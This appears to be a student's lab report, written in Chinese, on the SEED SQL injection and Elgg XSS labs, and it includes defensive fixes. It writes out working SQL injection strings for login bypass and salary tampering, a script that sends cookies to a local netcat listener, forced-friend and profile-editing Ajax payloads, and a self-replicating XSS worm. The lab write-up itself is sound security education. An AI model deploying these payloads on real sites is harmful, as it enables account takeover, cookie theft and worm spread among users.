20252807 2025-2026-2 《网络攻防实践》实践十报告
1.实践内容
一、SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在
www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
·熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
·对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
·对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
·SQL对抗:修复上述SQL注入攻击漏洞。
二、SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
·发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
·弹窗显示cookie信息:将cookie信息显示。
·窃取受害者的cookies:将cookie发送给攻击者。
·成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
·修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
·编写XSS蠕虫。
·对抗XSS攻击。
2.实践过程
2.1 SEED SQL注入攻击与防御实验
下载SEEDUbuntu-16.04-32bit.zip:https://seedsecuritylabs.org/lab_env.html
创建新虚拟机,选择现有磁盘:SEEDUbuntu-16.04-32bit.vmdk,
成功创建新虚拟机:

修改主机名为qk:

2.1.1 熟悉SQL语句
登录数据库:输入命令mysql -u root -p,密码为seedubuntu。

输入命令show databases;查看mysql中的数据库:

输入命令use Users;、show tables;查看Users数据库和表:

查看可发现有credential表。
输入命令select * from credential;,查看credential中的所有条目:


输入命令select * from credential where Name = 'Alice';, 查询Name为Alice的相关记录:

2.1.2 对SELECT语句的SQL注入攻击
进入网页:www.SEEDLabSQLInjection.com ,看到如下界面:

打开开发者模式,随意输入用户名和密码,我这里输入的是qk和2807,可以看到登录过程中是使用get请求访问unsafe_home.php:
打开unsafe_home.php:



分析代码可以看到:直接将用户输入拼接到SQL语句中,并且当用户输入 Admin'# 时,实际执行的SQL变为:SELECT ... FROM CREDENTIAL WHERE name='Admin'#'。只要数据库中存在用户名为Admin的记录,攻击者即可绕过密码验证,直接获取管理员权限。
所以,构造用户名Admin'#即可看到User Details的界面:


2.1.3 对UPDATE语句的SQL注入攻击
进入edit profile界面查看源代码,可看到是使用get请求访问unsafe_edit_backend.php:

打开unsafe_edit_backend.php查看:

构造 $input_nickname 的值等于', Salary='20252807' where name='Admin'#来进行SQL注入攻击,填写在nickname上,可以查看到Admin的薪水变为了20252807:

2.1.4 SQL对抗:修复上述SQL注入攻击漏洞
将unsafe_home.php提高文件权限

修改unsafe_home.php中的语句为如下:
$sql = $conn->prepare("SELECT id, name, eid, salary,birth, ssn, phoneNumber,address,email,nickname,Password From credential WHERE name= ? and Password=?;");
$sql->bind_param("ss",$input_uname,$hashed_pwd);

测试输入Admin’#:


漏洞修复成功。
2.2 SEED XSS跨站脚本攻击实验(Elgg)
2.2.1 发布恶意消息,显示警报窗口
打开网址: http://www.xsslabelgg.com ,
用户名:Alice,密码:seedalice

进入edit profile界面:

找到Brief description,输入XSS攻击代码:<script>alert("20252807");</script>

保存后直接跳出警报窗口:

2.2.2 弹窗显示cookie信息
在Brief description中输入:
<script> alert(document.cookie);</script>

保存后弹出cookie信息:

2.2.3 窃取受害者的cookies
输入指令nc -l 5555 -v监听端口5555:

在Brief description中编写代码,js插入img标签:
<script> document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>'); </script>

保存后,监听显示:

窃取成功。
2.2.4 成为受害者的朋友
找到boby,打开网络流信息,申请添加好友,可以看到id,ts和token三个信息:


boby的id为45。
remove boby的好友,根据刚才看到的URL构造payload,代码如下:
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=45" + ts + token;
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
在about me中填写代码后保存:

看到Alice主页中,已经与boby成为好友了:

2.2.5 修改受害者的信息
在About Me中填写如下代码:
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content=token+ts+"name="+userName+"&description=<p>This have been cracked by qk.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
var aliceGuid=44;
if(elgg.session.user.guid!=aliceGuid){
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>

然后保存,登录Boby的账户,然后访问Alice主页,可以看到,Boby的主页被修改:

2.2.6 编写XSS蠕虫
在Alice的About Me中填写如下代码:
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>qk20252807"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var aliceGuid=44;
if(elgg.session.user.guid!=aliceGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
这段代码是一个XSS蠕虫(跨站脚本蠕虫),主要功能是:当用户访问包含该脚本的页面时,它会自动将自身复制到当前用户的Elgg社交网络个人资料描述中,从而感染其他查看该资料的用户,实现自我传播。

保存后:

登录Boby账户:

已被修改
2.2.7 对抗XSS攻击
登录Admin账号,密码为seedelgg。打开网址www.xsslabelgg.com/admin,选择plugin,找到HTMLawed,从activate改为Deactivate:

重复一次XSS攻击:

攻击失败。
3.学习中遇到的问题及解决
在第二部分elgg中,在about me里编写代码,一直攻击失败:


,后来发现是因为没有在edit HTML中编写,修改之后攻击成功:

4.实践总结
本次实验我学习了SQL注入攻击和XSS跨站脚本攻击,利用用户输入未过滤的漏洞,可以进行SQL注入攻击,在UPDATE语句中注入恶意代码篡改薪资信息;XSS实验中,我编写蠕虫脚本,实现了cookie窃取、强制加好友和资料篡改,凸显了存储型XSS的危害。我也学会了防御的方法,收获颇丰。

浙公网安备 33010602011771号